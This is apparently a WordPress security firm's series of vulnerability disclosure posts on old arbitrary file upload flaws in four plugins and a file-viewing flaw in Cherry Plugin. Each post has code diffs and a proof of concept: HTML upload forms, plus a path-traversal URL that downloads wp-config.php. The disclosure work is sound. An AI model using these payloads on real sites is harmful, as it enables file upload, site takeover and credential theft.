04 Oct

Old Vulnerability Report: Arbitrary File Upload Vulnerability in 360 Product Rotation

One of the things that we do to provide our customers with the best data on WordPress plugin vulnerabilities is to monitor third party data on hacking attempts. That sometimes leads us to finding what looks to be exploitation of vulnerabilities that a hacker has just discovered in the current version of a plugin. In other cases it shows old vulnerabilities that hackers are still trying to exploit. We recently spotted an attempt to exploit an arbitrary file upload vulnerability in older versions of the plugin 360 Product Rotation. We couldn’t find a page that describes the issue to link to for our data on the vulnerability, so here are the details.

The hacking attempt involved a request sent to the page /includes/plugin-media-upload.php. Through that file you upload a .zip file and the contents are extracted and saved in a directory on the website.

While the feature this upload functionality was used by, looks to have only been intended for logged in users (the front end of it was removed in version 1.2.4), there is no check done to insure the person attempting the upload is logged in (we notified the developer about that).

Back when this feature was introduced in version 1.1.3 of the plugin, there was no restriction on what type of files could be included in the .zip file, leading to an arbitrary file upload vulnerability.

In version 1.2.1 a function was added to check if executable files are included in the .zip file:

function getExcludedFiles($path)
{
	$files = getDirContents($path);
	$extensions_excluded = array('php','php3','py','sh');
	$files_excluded      = array();
 
	foreach($files as $k=>$file){
		$extension = strtolower(pathinfo($file, PATHINFO_EXTENSION));
		if(in_array($extension,$extensions_excluded))
		{
			$files_excluded[] = $file;
		}
	}
 
	return $files_excluded;
}

If any executable files are found the in the .zip, the files do not get extracted from it.

In a good reminder that you can not rely on checking the changelog of a plugin to determine if there has been a security fix, the only change listed for 1.2.1 was:

Bugfix: .zip file created on some Windows systems did not extract correctly

Proof of Concept

The following proof of concept will upload the selected .zip file and extract its contents in to the directory /wp-content/uploads/yofla360/.

Make sure to replace “[path to WordPress]” with the location of WordPress. You will also need to include the HTTP request header “X-Requested-With” with the request.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/360-product-rotation/includes/plugin-media-upload.php" method="POST" enctype="multipart/form-data">
<input type="file" name="FileInput" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
11 Jul

Old Vulnerability Report: Arbitrary File Upload Vulnerability in PitchPrint

One of the things that we recently started doing to better keep track of the  plugin vulnerabilities out there is to monitor third party data on hacking attempts. That sometimes leads us to finding what looks to be exploitation of vulnerabilities that a hacker has just discovered in the current version of a plugin. In other cases it shows old vulnerabilities that hackers are still trying to exploit. We have recently spotted an attempt to exploit an arbitrary file upload vulnerability in older versions of the plugin PitchPrint. We couldn’t find a page that clearly described the issue to link to for our data on the vulnerability, so here are the details.

The hacking attempt involved a request sent to the page /wp-content/plugins/pitchprint/uploader/, which would cause the file at /wp-content/plugins/pitchprint/uploader/index.php to be loaded. That will then cause the file /wp-content/plugins/pitchprint/uploader/UploadHandler.php to be loaded and allow a file to be uploaded:

12
13
14
error_reporting(E_ALL | E_STRICT);
require('UploadHandler.php');
$upload_handler = new UploadHandler();

In the changelog for version 7.2.0, one of the entries is “Security fixes limiting files that can be uploaded to non-executables”. Looking at the changes made to the file /uploader/UploadHandler.php in that version, you can see that the types of files that could be uploaded were previously unrestricted.

In 7.1.1 the code to check the file type was commented out:

362
363
364
365
/*if (!preg_match($this->options['accept_file_types'], $file->name)) {
	$file->error = $this->get_error_message('accept_file_types');
	return false;
}*/

In 7.2.0 it has been uncommented:

362
363
364
365
if (!preg_match($this->options['accept_file_types'], $file>name)) {
	$file->error = $this->get_error_message('accept_file_types');
	return false;
}

The acceptable file types were not defined in 7.1.1:

83
'accept_file_types' => '/.+$/i',

In 7.2.0 they have been restricted to following:

83
'accept_file_types' => '/\.(gif|jpe?g|png|svg|psd|tif|tiff|bmp|cdr|ai|eps|pdf|ps|zip|gzip|rar)$/i',

The upload functionally was added in version 7.1, so the versions that were vulnerable to arbitrary file upload were 7.1 and 7.1.1.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/plugins/pitchprint/uploader/files/.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/pitchprint/uploader/" method="POST" enctype="multipart/form-data">
<input type="file" name="files" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
22 Jun

Old Vulnerability Report: Arbitrary File Viewing Vulnerability in Cherry Plugin

One of the things that we do to keep track of the  plugin vulnerabilities out there is to monitor hacking attempts on our websites. That sometimes leads us to finding what looks to be exploitation of vulnerabilities that a hacker has just discovered. In other cases it shows really old vulnerabilities that hackers are still trying to exploit. We have recently had some attempts to exploit a couple of vulnerabilities in older versions of the plugin Cherry Plugin. One was an arbitrary file upload vulnerability mentioned here and the other was an arbitrary file viewing vulnerability that we couldn’t find any prior mention of.

In version 1.2.6 and below the file /admin/import-export/download-content.php will serve up the contents of any file requested. It looks like that functionality was intended to be only accessible by admins, but there were no restrictions in place to prevent anyone else from accessing it.

Proof of Concept

The following proof of concept will download the website’s wp-config.php file.

Make sure to replace “[path to WordPress]” with the location of WordPress:

http://[path to WordPress]/wp-content/plugins/cherry-plugin/admin/import-export/download-content.php?file=../../../../../wp-config.php
08 Jun

Old Vulnerability Report: Arbitrary File Upload in Royal Gallery

Yesterday we released posts for vulnerabilities in 16 plugins, which all shared the same code that allowed anyone access to functions only intended to be accessible to Administrator level users. For two of those plugins though the most serious vulnerability permitted by this did not exist. That vulnerability was the ability to upload arbitrary files, which could allow a hacker to upload .php file and then use that to perform any action they want on the website.

Looking back through the old versions we can see that for one those plugins, Royal Gallery, that vulnerability had actually existed in version 2.0 and then was fixed in 2.1. In a reminder that you really need to keep all of your plugins up to date all the time, instead of trying to update them upon becoming aware of a security issue (which far to often WordPress security companies tacitly promote by telling people they should update some specific plugin right away), the changelog entry for that version reads only:

Where ever you place the short code, there only the slider shows. Previously it use to show on top of content.

So you wouldn’t have known that it included a security update.

Restricting File Uploads

So how was it fixed?

When a file upload request is being processed in version 2.0 the following checks were done:

if( isset($_FILES) && isset($_FILES['album_img']) && $_FILES['album_img']['size'] > 0 )

In 2.1 an additional check to see if the file’s extension is one that is allowed is done:

if( isset($_FILES) && isset($_FILES['album_img']) && $_FILES['album_img']['size'] > 0 && array_search(strtolower(strrchr($_FILES['album_img']['name'], '.')), $this->allow_ext))

The allowed extensions are specified on this line:

$this->allow_ext = array(1=>'.jpg','.gif','.png','.bmp','.tif','.tiff','.jpeg');

That restricts you to only upload files with image extensions, so you could not, for example, upload a .php file.

Proof of Concept

The following proof of concept will create a new album in the plugin, with the selected file as the Album Image. If there are no pre-existing album the uploaded file will be located in the directory /wp-content/uploads/splendidgallery/1_uploadfolder/big/.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=splendidgallery_manage" method="POST" enctype="multipart/form-data">
<input type="hidden" name="task" value="spg_add_new_album" />
<input type="hidden" name="album_name" value="Arbitrary File Upload" />
<input type="hidden" name="album_desc" value="Arbitrary File Upload" />
<input type="file" name="album_img" value="" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
31 May

Old Vulnerability Report: Arbitrary File Upload in Magic Fields

One of the things that we do to keep track of the  plugin vulnerabilities out there is to monitor hacking attempts on our websites. That sometimes leads us to finding what looks to be exploitation of vulnerabilities that a hacker has just discovered. In other cases it shows really old vulnerabilities that hackers are still trying to exploit. We have recently had some requests for a file from the plugin Magic Fields:

 /wp-content/plugins/magic-fields/MF_Constant.php

We looked around for any reports of a vulnerability in this plugin and found nothing. We did see that in version 1.5.6, which was released on June 6, 2011, there was apparently a security issue fixed as the changelog mentions:

  • Security bug fixed related with the uploader

In version 1.5.6 code added to the file /RCCWP_upload_ajax.php to check if you were logged in and able at least edit posts, which is capability available to Contributor level users and above, before allowing an upload:

if (!(is_user_logged_in() &&
      (current_user_can('edit_posts') || current_user_can('edit_published_pages'))))
	die(__("Authentication failed!",$mf_domain));

From there we could work out that in some prior versions anyone code upload arbitrary files to the website as shown in the proof of concept below.

With that change though, it is still possible for lower level user to upload arbitrary files, which is a vulnerability and it turns still exist in the version that was available at the time we looked into this vulnerability.

Proof of Concept

The following proof of concept will upload the chosen file to the directory /wp-content/files_mf/.

Make sure to replace “[path to WordPress]” with the location of WordPress:

<html>
<head>
</head>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/magic-fields/RCCWP_upload_ajax.php" method="post" enctype="multipart/form-data">
<input name="qqfile" type="file" />
<input type="submit" value="Submit" />
</form>
</body>
</html>